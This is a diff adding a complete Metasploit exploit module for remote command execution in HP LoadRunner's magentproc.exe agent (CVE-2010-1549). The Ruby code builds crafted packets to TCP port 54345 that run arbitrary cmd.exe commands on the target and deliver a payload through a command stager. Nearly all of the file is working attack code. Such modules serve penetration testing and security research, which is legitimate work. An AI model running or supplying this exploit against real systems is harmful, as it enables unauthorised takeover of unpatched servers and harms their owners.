|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::Tcp |
| 10 | + include Msf::Exploit::CmdStager |
| 11 | + |
| 12 | + def initialize(info={}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution", |
| 15 | + 'Description' => %q{ |
| 16 | + This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50 |
| 17 | + and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are |
| 18 | + also most likely vulneable if the (non-default) SSL option is turned off. |
| 19 | + By sending a specially crafted packet, an attacker can execute commands remotely. |
| 20 | + The service is vulnerable provided the Secure Channel feature is disabled (default). |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Unknown', # Original discovery # From Tenable Network Security |
| 26 | + 'aushack' # metasploit module |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['CVE', '2010-1549'], |
| 31 | + ['ZDI', '10-080'], |
| 32 | + ['BID', '39965'], |
| 33 | + ['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968'] |
| 34 | + ], |
| 35 | + 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, |
| 36 | + 'Platform' => 'win', |
| 37 | + 'Targets' => |
| 38 | + [ |
| 39 | + # Note: software reportedly supports Linux - may also be vulnerable. |
| 40 | + ['Windows (Dropper)', |
| 41 | + 'Platform' => 'win', |
| 42 | + 'Arch' => [ARCH_X86, ARCH_X64] |
| 43 | + ], |
| 44 | + ], |
| 45 | + 'Privileged' => false, |
| 46 | + 'Stance' => Msf::Exploit::Stance::Aggressive, |
| 47 | + 'DisclosureDate' => 'May 06 2010', |
| 48 | + 'DefaultTarget' => 0)) |
| 49 | + |
| 50 | + register_options([Opt::RPORT(54345)]) |
| 51 | + end |
| 52 | + |
| 53 | + def autofilter |
| 54 | + true |
| 55 | + end |
| 56 | + |
| 57 | + def execute_command(cmd, _opts = {}) |
| 58 | + guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17)) |
| 59 | + randstr = Rex::Text.rand_text_alpha(16) |
| 60 | + server_name = Rex::Text.rand_text_alpha(7) |
| 61 | + server_ip = datastore['LHOST'] |
| 62 | + server_port = Rex::Text.rand_text_numeric(4) |
| 63 | + # If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd |
| 64 | + cmd1 = "C:\\Windows\\system32\\cmd.exe" |
| 65 | + cmd2 = "/C \"#{cmd}\"" |
| 66 | + |
| 67 | + pkt1 = [0x19].pack('N') + guid + '0' |
| 68 | + |
| 69 | + pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})" |
| 70 | + pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00" |
| 71 | + pkt2 << [0x7530].pack('N') |
| 72 | + |
| 73 | + pkt3 = [4 + pkt2.length].pack('N') + pkt2 |
| 74 | + |
| 75 | + pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3 |
| 76 | + |
| 77 | + pkt5 = [pkt4.length].pack('N') + pkt4 |
| 78 | + |
| 79 | + pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N') |
| 80 | + pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N') |
| 81 | + |
| 82 | + pkt7 = [4 + pkt6.length].pack('N') + pkt6 |
| 83 | + |
| 84 | + pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7 |
| 85 | + |
| 86 | + pkt9 = [pkt8.length].pack('N') + pkt8 |
| 87 | + |
| 88 | + sploit = pkt1 + pkt5 + pkt9 |
| 89 | + |
| 90 | + connect |
| 91 | + sock.put(sploit) |
| 92 | + disconnect |
| 93 | + end |
| 94 | + |
| 95 | + def exploit |
| 96 | + print_status('Sending payload...') |
| 97 | + execute_cmdstager(linemax: 1500) |
| 98 | + end |
| 99 | +end |
0 commit comments